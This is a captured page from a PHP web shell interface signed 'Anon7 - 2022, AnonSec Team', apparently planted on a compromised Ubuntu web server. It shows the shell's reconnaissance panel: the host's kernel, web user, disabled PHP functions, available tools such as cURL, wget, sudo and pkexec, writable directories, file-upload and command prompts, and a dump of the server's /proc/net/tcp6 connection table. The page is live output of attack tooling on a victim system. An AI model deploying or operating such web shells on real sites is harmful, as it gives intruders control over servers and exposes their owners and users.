NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.57
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/100/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/100/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 101983488 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54035 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 101983492 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00001CF2074A:E732 06 00000000:00000000 03:00000E44 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000DFF3074A:C3D6 06 00000000:00000000 03:00001220 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF00003DD7D186:0050 0000000000000000FFFF0000DBCB4CCC:9EB6 06 00000000:00000000 03:00000306 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:C75B 06 00000000:00000000 03:00000219 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:3747 01 00000000:00000000 02:000AFB0C 00000000    33        0 116860424 3 0000000000000000 22 4 1 10 -1
   8: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF00001CF2074A:8E24 01 00000000:00000000 02:000AF388 00000000    33        0 116860316 2 0000000000000000 23 4 31 10 -1
   9: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:58D3 06 00000000:00000000 03:0000143A 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:295A 06 00000000:00000000 03:00001087 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:9DDF 06 00000000:00000000 03:000005B1 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:D1F1 06 00000000:00000000 03:00000CF0 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:58D4 06 00000000:00000000 03:000015F2 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000DFF3074A:8B00 01 00000BD4:00000000 01:00000005 00000000    33        0 116860392 4 0000000000000000 22 4 31 10 -1
  15: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000039D849D8:CE0C 06 00000000:00000000 03:0000094A 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team